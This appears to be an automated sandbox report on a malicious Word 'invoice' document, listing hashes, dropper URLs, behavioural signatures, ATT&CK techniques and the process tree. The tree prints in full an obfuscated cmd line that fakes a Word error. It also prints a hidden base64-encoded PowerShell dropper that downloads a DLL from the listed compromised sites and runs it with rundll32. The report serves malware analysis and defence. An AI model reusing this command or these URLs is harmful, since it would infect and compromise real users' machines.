b2de95f9cba002fd980b4edb6ca033c5c200f4f1cea9d7a7315cfa4801e514e0

General

Target

송장-171827.doc
Size

164KB
MD5

cca2eb43e9ac9ce0b850601db0c8a9dd
SHA1

1efa00d6971122dfe4e916282085e1e4ca0eeb86
SHA256

b2de95f9cba002fd980b4edb6ca033c5c200f4f1cea9d7a7315cfa4801e514e0
SHA512

1d3c28189386daaa494ab871c7a534b4054ddd3fb91a60a5baf8abc6c961fd34c880feac43b806bbb64fa46588faba5b6f2c15879d355b5d810b24d6b91e8005

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://qingniatouzi.com/wp-includes/Z4TFME0/

exe.dropper

http://chenqiaorong007.com/wp-content/inh1Q4eFMT/

exe.dropper

http://bestcartdeal.com/wp-content/U12BbGPx2v/

exe.dropper

https://hredoybangladesh.com/3948708181/l7/

exe.dropper

https://washcolsc.com/wp-admin/gRIWZ/

exe.dropper

https://aqnym.top/wp-login/9ZvtYaLyhg/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2212 3312 cmd.exe
Blocklisted process makes network request 3 IoCs

Processes:

powershell.exe

flow pid process

22 1328 powershell.exe
23 1328 powershell.exe
27 1328 powershell.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

3880 rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2212	3312	cmd.exe

flow	pid	process
22	1328	powershell.exe
23	1328	powershell.exe
27	1328	powershell.exe

pid	process
3880	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

796 WINWORD.EXE
796 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 3 IoCs

Processes:

powershell.exe

pid process

1328 powershell.exe
1328 powershell.exe
1328 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1328 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

796 WINWORD.EXE
796 WINWORD.EXE
796 WINWORD.EXE
796 WINWORD.EXE
796 WINWORD.EXE
796 WINWORD.EXE
796 WINWORD.EXE

pid	process
796	WINWORD.EXE
796	WINWORD.EXE

pid	process
1328	powershell.exe
1328	powershell.exe
1328	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1328	powershell.exe

pid	process
796	WINWORD.EXE
796	WINWORD.EXE
796	WINWORD.EXE
796	WINWORD.EXE
796	WINWORD.EXE
796	WINWORD.EXE
796	WINWORD.EXE

Suspicious use of WriteProcessMemory 9 IoCs

Processes:

cmd.exepowershell.exerundll32.exe

description	pid	process	target process
PID 2212 wrote to memory of 2240	2212	cmd.exe	msg.exe
PID 2212 wrote to memory of 2240	2212	cmd.exe	msg.exe
PID 2212 wrote to memory of 1328	2212	cmd.exe	powershell.exe
PID 2212 wrote to memory of 1328	2212	cmd.exe	powershell.exe
PID 1328 wrote to memory of 1956	1328	powershell.exe	rundll32.exe
PID 1328 wrote to memory of 1956	1328	powershell.exe	rundll32.exe
PID 1956 wrote to memory of 3880	1956	rundll32.exe	rundll32.exe
PID 1956 wrote to memory of 3880	1956	rundll32.exe	rundll32.exe
PID 1956 wrote to memory of 3880	1956	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\송장-171827.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:796

C:\Windows\system32\cmd.exe
cmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAEUAVAAgACAAKAAnADcASQAnACsAJwAyAHEAVwAnACkAIAAoACAAWwB0AHkAUABlAF0AKAAiAHsAMAB9AHsAMQB9AHsANAB9AHsAMgB9AHsAMwB9AHsANQB9ACIALQBGACAAJwBzAHkAcwBUACcALAAnAEUATQAuACcALAAnAGQAJwAsACcAaQBSAGUAJwAsACcASQBPAC4AJwAsACcAYwBUAG8AcgBZACcAKQAgACAAKQAgADsAIAAgACAAUwBFAHQALQBJAFQAZQBtACAAIAB2AEEAUgBJAEEAYgBsAGUAOgA0ADUAeQBNAFcAcAAgACgAIAAgAFsAVAB5AFAAZQBdACgAIgB7ADQAfQB7ADUAfQB7ADAAfQB7ADIAfQB7ADMAfQB7ADEAfQAiAC0ARgAgACcAcwBFAHIAVgBpAEMAJwAsACcARQBSACcALAAnAEUAcABvAEkATgAnACwAJwBUAE0AYQBOAEEAZwAnACwAJwBTAHkAcwB0AEUATQAuAG4AZQBUACcALAAnAC4AJwApACAAKQA7ACAAIAAkAEgAdQA2AGMAZgB3ADIAPQAkAFkAOAA5AFIAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAFUAOQA5AFoAOwAkAFgAMABfAFIAPQAoACcAWgAxACcAKwAnADQASQAnACkAOwAgACAAKAAgAHYAQQBSAEkAQQBCAGwARQAgACAAKAAnADcAaQAnACsAJwAyAHEAVwAnACkAIAAtAFYAYQBsACkAOgA6ACIAQwBSAEUAQQBgAFQARQBkAGkAcgBFAGAAYwBUAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwB6ACcAKwAnAG0AOABEAGcAJwArACcAXwBqACcAKQArACgAJwBjADYAJwArACcAYQAnACkAKwAoACcAegBtADgAJwArACcATgAnACkAKwAoACcAZABxACcAKwAnAHgAdAAnACkAKwAoACcAaQAnACsAJwB1AHoAJwApACsAJwBtADgAJwApAC4AIgBSAGAARQBgAFAAbABhAGMARQAiACgAKAAnAHoAbQAnACsAJwA4ACcAKQAsAFsAcwB0AHIAaQBOAEcAXQBbAGMAaABBAFIAXQA5ADIAKQApACkAOwAkAEkAMwAwAFkAPQAoACcAWQAnACsAKAAnADYAJwArACcAXwBNACcAKQApADsAIAAgACQANAA1AFkATQBXAHAAOgA6ACIAUwBgAEUAQwBVAHIAaQBUAGAAeQBgAFAAcgBgAG8AdABvAEMAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKQApADsAJABTADEAXwBQAD0AKAAnAE0AMAAnACsAJwAyAEsAJwApADsAJABQADQAdwBzAGYAbQBxACAAPQAgACgAJwBLACcAKwAoACcAMwAnACsAJwA0AEoAJwApACkAOwAkAEUANAAwAEMAPQAoACcAUAAnACsAKAAnADMAMAAnACsAJwBQACcAKQApADsAJABTAGcAOQBoAG8ANQAyAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ARABnAF8AagAnACsAKAAnAGMAJwArACcANgBhACcAKQArACcAewAwAH0ATgBkACcAKwAoACcAcQAnACsAJwB4AHQAaQAnACkAKwAnAHUAJwArACcAewAwAH0AJwApACAAIAAtAGYAWwBDAEgAQQByAF0AOQAyACkAKwAkAFAANAB3AHMAZgBtAHEAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFQAOQAwAEsAPQAoACgAJwBIADkAJwArACcANAAnACkAKwAnAEwAJwApADsAJABVAGoAZwBiAGMAOQBoAD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQAQgBrAGoAYgBxAGUAMQA9ACgAJwBzACcAKwAoACcAZwAgAHkAdwAgACcAKwAnAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAKAAnAC8AJwArACcAcQBpACcAKQArACcAbgBnACcAKwAoACcAbgBpACcAKwAnAGEAJwApACsAJwB0AG8AJwArACcAdQAnACsAKAAnAHoAaQAuAGMAbwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAnAC0AJwApACsAJwBpACcAKwAoACcAbgAnACsAJwBjAGwAJwArACcAdQBkAGUAcwAvAFoANABUAEYATQBFADAALwAhAHMAJwArACcAZwAgAHkAJwArACcAdwAnACkAKwAoACcAIABhAGgAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGMAaABlACcAKwAnAG4AcQAnACkAKwAoACcAaQBhAG8AcgBvAG4AJwArACcAZwAwACcAKwAnADAAJwArACcANwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAnACkAKwAoACcALQBjAG8AJwArACcAbgB0AGUAJwApACsAKAAnAG4AJwArACcAdAAvAGkAbgAnACkAKwAoACcAaAAxAFEAJwArACcANABlACcAKQArACgAJwBGAE0AVAAnACsAJwAvACcAKQArACgAJwAhACcAKwAnAHMAZwAgACcAKwAnAHkAdwAgAGEAJwApACsAJwBoADoAJwArACgAJwAvAC8AYgAnACsAJwBlAHMAJwApACsAJwB0ACcAKwAnAGMAJwArACcAYQAnACsAKAAnAHIAJwArACcAdABkAGUAYQBsACcAKwAnAC4AYwBvAG0AJwApACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGMAJwArACgAJwBvAG4AdAAnACsAJwBlAG4AJwArACcAdAAvACcAKQArACgAJwBVADEAJwArACcAMgBCAGIAJwApACsAJwBHACcAKwAoACcAUAAnACsAJwB4ADIAdgAvACcAKwAnACEAcwBnACcAKQArACcAIAB5ACcAKwAnAHcAJwArACgAJwAgAGEAJwArACcAaAAnACkAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAaAByACcAKwAnAGUAZAAnACkAKwAoACcAbwB5AGIAJwArACcAYQBuAGcAbAAnACkAKwAoACcAYQBkACcAKwAnAGUAcwAnACkAKwAnAGgALgAnACsAKAAnAGMAbwAnACsAJwBtAC8AMwAnACkAKwAoACcAOQA0ACcAKwAnADgANwAwACcAKQArACcAOAAxACcAKwAnADgAMQAnACsAJwAvACcAKwAoACcAbAA3AC8AIQBzACcAKwAnAGcAIAAnACsAJwB5ACcAKQArACgAJwB3ACAAYQBoAHMAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAHcAYQAnACkAKwAnAHMAJwArACcAaABjACcAKwAoACcAbwBsACcAKwAnAHMAYwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHcAcAAnACkAKwAoACcALQBhAGQAbQBpACcAKwAnAG4ALwAnACsAJwBnACcAKQArACcAUgAnACsAKAAnAEkAVwBaACcAKwAnAC8AIQBzAGcAJwApACsAKAAnACAAJwArACcAeQB3ACAAYQBoAHMAOgAnACsAJwAvAC8AJwApACsAJwBhAHEAJwArACgAJwBuAHkAJwArACcAbQAuACcAKQArACgAJwB0AG8AcAAvACcAKwAnAHcAJwArACcAcAAtACcAKQArACgAJwBsACcAKwAnAG8AJwArACcAZwBpAG4ALwAnACkAKwAoACcAOQAnACsAJwBaAHYAdAAnACkAKwAoACcAWQAnACsAJwBhAEwAeQBoACcAKQArACcAZwAvACcAKQAuACIAUgBFAHAAbABgAEEAYABjAEUAIgAoACgAKAAnAHMAZwAgAHkAJwArACcAdwAnACkAKwAnACAAYQAnACsAJwBoACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQAVQBqAGcAYgBjADkAaAAsACcAdwBkACcAKQBbADMAXQApAC4AIgBTAGAAcABMAEkAdAAiACgAJABWADAANQBPACAAKwAgACQASAB1ADYAYwBmAHcAMgAgACsAIAAkAEUAXwAwAFoAKQA7ACQARABfADYAWgA9ACgAJwBRADgAJwArACcAMABBACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUABvAHcAdQA4AGQANgAgAGkAbgAgACQAQgBrAGoAYgBxAGUAMQApAHsAdAByAHkAewAoAC4AKAAnAE4AJwArACcAZQB3AC0AJwArACcATwBiAGoAZQBjAHQAJwApACAAUwB5AFMAdABlAG0ALgBOAEUAdAAuAHcARQBiAEMATABJAGUAbgBUACkALgAiAEQAYABvAFcAbgBsAGAAbwBhAGQAZgBJAGwARQAiACgAJABQAG8AdwB1ADgAZAA2ACwAIAAkAFMAZwA5AGgAbwA1ADIAKQA7ACQATgAzADUAUgA9ACgAJwBSAF8AJwArACcAOABMACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABTAGcAOQBoAG8ANQAyACkALgAiAGwARQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADEAMQA0ADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZAAnACsAJwBsAGwAMwAyACcAKQAgACQAUwBnADkAaABvADUAMgAsACgAKAAnAEEAbgB5AFMAJwArACcAdAAnACkAKwAnAHIAJwArACgAJwBpAG4AJwArACcAZwAnACkAKQAuACIAdABgAE8AcwB0AHIAaQBuAGcAIgAoACkAOwAkAFcAMAA1AEMAPQAoACgAJwBYADQAJwArACcANwAnACkAKwAnAEgAJwApADsAYgByAGUAYQBrADsAJABIADAAMQBVAD0AKAAnAEkAMAAnACsAJwA1AEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZADQANgBMAD0AKAAnAEwAOAAnACsAJwAzAFcAJwApAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2212

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:2240

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w hidden -enc IABzAEUAVAAgACAAKAAnADcASQAnACsAJwAyAHEAVwAnACkAIAAoACAAWwB0AHkAUABlAF0AKAAiAHsAMAB9AHsAMQB9AHsANAB9AHsAMgB9AHsAMwB9AHsANQB9ACIALQBGACAAJwBzAHkAcwBUACcALAAnAEUATQAuACcALAAnAGQAJwAsACcAaQBSAGUAJwAsACcASQBPAC4AJwAsACcAYwBUAG8AcgBZACcAKQAgACAAKQAgADsAIAAgACAAUwBFAHQALQBJAFQAZQBtACAAIAB2AEEAUgBJAEEAYgBsAGUAOgA0ADUAeQBNAFcAcAAgACgAIAAgAFsAVAB5AFAAZQBdACgAIgB7ADQAfQB7ADUAfQB7ADAAfQB7ADIAfQB7ADMAfQB7ADEAfQAiAC0ARgAgACcAcwBFAHIAVgBpAEMAJwAsACcARQBSACcALAAnAEUAcABvAEkATgAnACwAJwBUAE0AYQBOAEEAZwAnACwAJwBTAHkAcwB0AEUATQAuAG4AZQBUACcALAAnAC4AJwApACAAKQA7ACAAIAAkAEgAdQA2AGMAZgB3ADIAPQAkAFkAOAA5AFIAIAArACAAWwBjAGgAYQByAF0AKAAzADMAKQAgACsAIAAkAFUAOQA5AFoAOwAkAFgAMABfAFIAPQAoACcAWgAxACcAKwAnADQASQAnACkAOwAgACAAKAAgAHYAQQBSAEkAQQBCAGwARQAgACAAKAAnADcAaQAnACsAJwAyAHEAVwAnACkAIAAtAFYAYQBsACkAOgA6ACIAQwBSAEUAQQBgAFQARQBkAGkAcgBFAGAAYwBUAE8AUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACgAJwB6ACcAKwAnAG0AOABEAGcAJwArACcAXwBqACcAKQArACgAJwBjADYAJwArACcAYQAnACkAKwAoACcAegBtADgAJwArACcATgAnACkAKwAoACcAZABxACcAKwAnAHgAdAAnACkAKwAoACcAaQAnACsAJwB1AHoAJwApACsAJwBtADgAJwApAC4AIgBSAGAARQBgAFAAbABhAGMARQAiACgAKAAnAHoAbQAnACsAJwA4ACcAKQAsAFsAcwB0AHIAaQBOAEcAXQBbAGMAaABBAFIAXQA5ADIAKQApACkAOwAkAEkAMwAwAFkAPQAoACcAWQAnACsAKAAnADYAJwArACcAXwBNACcAKQApADsAIAAgACQANAA1AFkATQBXAHAAOgA6ACIAUwBgAEUAQwBVAHIAaQBUAGAAeQBgAFAAcgBgAG8AdABvAEMAbwBMACIAIAA9ACAAKAAnAFQAJwArACgAJwBsAHMAJwArACcAMQAyACcAKQApADsAJABTADEAXwBQAD0AKAAnAE0AMAAnACsAJwAyAEsAJwApADsAJABQADQAdwBzAGYAbQBxACAAPQAgACgAJwBLACcAKwAoACcAMwAnACsAJwA0AEoAJwApACkAOwAkAEUANAAwAEMAPQAoACcAUAAnACsAKAAnADMAMAAnACsAJwBQACcAKQApADsAJABTAGcAOQBoAG8ANQAyAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0ARABnAF8AagAnACsAKAAnAGMAJwArACcANgBhACcAKQArACcAewAwAH0ATgBkACcAKwAoACcAcQAnACsAJwB4AHQAaQAnACkAKwAnAHUAJwArACcAewAwAH0AJwApACAAIAAtAGYAWwBDAEgAQQByAF0AOQAyACkAKwAkAFAANAB3AHMAZgBtAHEAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFQAOQAwAEsAPQAoACgAJwBIADkAJwArACcANAAnACkAKwAnAEwAJwApADsAJABVAGoAZwBiAGMAOQBoAD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQAQgBrAGoAYgBxAGUAMQA9ACgAJwBzACcAKwAoACcAZwAgAHkAdwAgACcAKwAnAGEAJwApACsAJwBoACcAKwAnADoALwAnACsAKAAnAC8AJwArACcAcQBpACcAKQArACcAbgBnACcAKwAoACcAbgBpACcAKwAnAGEAJwApACsAJwB0AG8AJwArACcAdQAnACsAKAAnAHoAaQAuAGMAbwBtACcAKwAnAC8AJwArACcAdwBwACcAKwAnAC0AJwApACsAJwBpACcAKwAoACcAbgAnACsAJwBjAGwAJwArACcAdQBkAGUAcwAvAFoANABUAEYATQBFADAALwAhAHMAJwArACcAZwAgAHkAJwArACcAdwAnACkAKwAoACcAIABhAGgAJwArACcAOgAnACsAJwAvAC8AJwApACsAKAAnAGMAaABlACcAKwAnAG4AcQAnACkAKwAoACcAaQBhAG8AcgBvAG4AJwArACcAZwAwACcAKwAnADAAJwArACcANwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAnACkAKwAoACcALQBjAG8AJwArACcAbgB0AGUAJwApACsAKAAnAG4AJwArACcAdAAvAGkAbgAnACkAKwAoACcAaAAxAFEAJwArACcANABlACcAKQArACgAJwBGAE0AVAAnACsAJwAvACcAKQArACgAJwAhACcAKwAnAHMAZwAgACcAKwAnAHkAdwAgAGEAJwApACsAJwBoADoAJwArACgAJwAvAC8AYgAnACsAJwBlAHMAJwApACsAJwB0ACcAKwAnAGMAJwArACcAYQAnACsAKAAnAHIAJwArACcAdABkAGUAYQBsACcAKwAnAC4AYwBvAG0AJwApACsAJwAvAHcAJwArACcAcAAtACcAKwAnAGMAJwArACgAJwBvAG4AdAAnACsAJwBlAG4AJwArACcAdAAvACcAKQArACgAJwBVADEAJwArACcAMgBCAGIAJwApACsAJwBHACcAKwAoACcAUAAnACsAJwB4ADIAdgAvACcAKwAnACEAcwBnACcAKQArACcAIAB5ACcAKwAnAHcAJwArACgAJwAgAGEAJwArACcAaAAnACkAKwAnAHMAJwArACgAJwA6ACcAKwAnAC8ALwAnACkAKwAoACcAaAByACcAKwAnAGUAZAAnACkAKwAoACcAbwB5AGIAJwArACcAYQBuAGcAbAAnACkAKwAoACcAYQBkACcAKwAnAGUAcwAnACkAKwAnAGgALgAnACsAKAAnAGMAbwAnACsAJwBtAC8AMwAnACkAKwAoACcAOQA0ACcAKwAnADgANwAwACcAKQArACcAOAAxACcAKwAnADgAMQAnACsAJwAvACcAKwAoACcAbAA3AC8AIQBzACcAKwAnAGcAIAAnACsAJwB5ACcAKQArACgAJwB3ACAAYQBoAHMAJwArACcAOgAvACcAKQArACgAJwAvACcAKwAnAHcAYQAnACkAKwAnAHMAJwArACcAaABjACcAKwAoACcAbwBsACcAKwAnAHMAYwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHcAcAAnACkAKwAoACcALQBhAGQAbQBpACcAKwAnAG4ALwAnACsAJwBnACcAKQArACcAUgAnACsAKAAnAEkAVwBaACcAKwAnAC8AIQBzAGcAJwApACsAKAAnACAAJwArACcAeQB3ACAAYQBoAHMAOgAnACsAJwAvAC8AJwApACsAJwBhAHEAJwArACgAJwBuAHkAJwArACcAbQAuACcAKQArACgAJwB0AG8AcAAvACcAKwAnAHcAJwArACcAcAAtACcAKQArACgAJwBsACcAKwAnAG8AJwArACcAZwBpAG4ALwAnACkAKwAoACcAOQAnACsAJwBaAHYAdAAnACkAKwAoACcAWQAnACsAJwBhAEwAeQBoACcAKQArACcAZwAvACcAKQAuACIAUgBFAHAAbABgAEEAYABjAEUAIgAoACgAKAAnAHMAZwAgAHkAJwArACcAdwAnACkAKwAnACAAYQAnACsAJwBoACcAKQAsACgAWwBhAHIAcgBhAHkAXQAoACcAbgBqACcALAAnAHQAcgAnACkALAAnAHkAagAnACwAJwBzAGMAJwAsACQAVQBqAGcAYgBjADkAaAAsACcAdwBkACcAKQBbADMAXQApAC4AIgBTAGAAcABMAEkAdAAiACgAJABWADAANQBPACAAKwAgACQASAB1ADYAYwBmAHcAMgAgACsAIAAkAEUAXwAwAFoAKQA7ACQARABfADYAWgA9ACgAJwBRADgAJwArACcAMABBACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAUABvAHcAdQA4AGQANgAgAGkAbgAgACQAQgBrAGoAYgBxAGUAMQApAHsAdAByAHkAewAoAC4AKAAnAE4AJwArACcAZQB3AC0AJwArACcATwBiAGoAZQBjAHQAJwApACAAUwB5AFMAdABlAG0ALgBOAEUAdAAuAHcARQBiAEMATABJAGUAbgBUACkALgAiAEQAYABvAFcAbgBsAGAAbwBhAGQAZgBJAGwARQAiACgAJABQAG8AdwB1ADgAZAA2ACwAIAAkAFMAZwA5AGgAbwA1ADIAKQA7ACQATgAzADUAUgA9ACgAJwBSAF8AJwArACcAOABMACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABTAGcAOQBoAG8ANQAyACkALgAiAGwARQBgAE4AZwBgAFQAaAAiACAALQBnAGUAIAAzADEAMQA0ADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZAAnACsAJwBsAGwAMwAyACcAKQAgACQAUwBnADkAaABvADUAMgAsACgAKAAnAEEAbgB5AFMAJwArACcAdAAnACkAKwAnAHIAJwArACgAJwBpAG4AJwArACcAZwAnACkAKQAuACIAdABgAE8AcwB0AHIAaQBuAGcAIgAoACkAOwAkAFcAMAA1AEMAPQAoACgAJwBYADQAJwArACcANwAnACkAKwAnAEgAJwApADsAYgByAGUAYQBrADsAJABIADAAMQBVAD0AKAAnAEkAMAAnACsAJwA1AEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABZADQANgBMAD0AKAAnAEwAOAAnACsAJwAzAFcAJwApAA==
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1328

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Dg_jc6a\Ndqxtiu\K34J.dll,AnyString
3⤵
- Suspicious use of WriteProcessMemory
PID:1956

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Dg_jc6a\Ndqxtiu\K34J.dll,AnyString
4⤵
- Loads dropped DLL
PID:3880

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Dg_jc6a\Ndqxtiu\K34J.dll
MD5
3e1249e4d0b0b61d493da93139b9f3a4

SHA1
82863b73820e293793dc90da9635c390fc928ef7

SHA256
03ff40768f2c5dfb8c60c977b173ab72abc0932ccd13d139115bf7f0ddcdb323

SHA512
4cd7757a187ff99034347bd125e98170832e193ad13f63754f3ee1a159f0d72c59abcd2f9755869ce533c765b9664603c6c38961c49149ea042e7e6894a9aef6

Download Submit
\Users\Admin\Dg_jc6a\Ndqxtiu\K34J.dll
MD5
3e1249e4d0b0b61d493da93139b9f3a4

SHA1
82863b73820e293793dc90da9635c390fc928ef7

SHA256
03ff40768f2c5dfb8c60c977b173ab72abc0932ccd13d139115bf7f0ddcdb323

SHA512
4cd7757a187ff99034347bd125e98170832e193ad13f63754f3ee1a159f0d72c59abcd2f9755869ce533c765b9664603c6c38961c49149ea042e7e6894a9aef6

Download Submit
memory/796-2-0x00007FF97B640000-0x00007FF97B650000-memory.dmp

Filesize
64KB

Download
memory/796-3-0x00007FF97B640000-0x00007FF97B650000-memory.dmp

Filesize
64KB

Download
memory/796-4-0x00007FF97B640000-0x00007FF97B650000-memory.dmp

Filesize
64KB

Download
memory/796-5-0x00007FF97B640000-0x00007FF97B650000-memory.dmp

Filesize
64KB

Download
memory/796-6-0x00007FF99AE40000-0x00007FF99B477000-memory.dmp

Filesize
6.2MB

Download
memory/1328-10-0x0000024AA8B70000-0x0000024AA8B71000-memory.dmp

Filesize
4KB

Download
memory/1328-9-0x00007FF994420000-0x00007FF994E0C000-memory.dmp

Filesize
9.9MB

Download
memory/1328-11-0x0000024AA6EA0000-0x0000024AA6EA2000-memory.dmp

Filesize
8KB

Download
memory/1328-12-0x0000024AA6EA3000-0x0000024AA6EA5000-memory.dmp

Filesize
8KB

Download
memory/1328-13-0x0000024AC0FA0000-0x0000024AC0FA1000-memory.dmp

Filesize
4KB

Download
memory/1328-14-0x0000024AA6EA6000-0x0000024AA6EA8000-memory.dmp

Filesize
8KB

Download
memory/1328-8-0x0000000000000000-mapping.dmp

Download
memory/1956-15-0x0000000000000000-mapping.dmp

Download
memory/2240-7-0x0000000000000000-mapping.dmp

Download
memory/3880-17-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads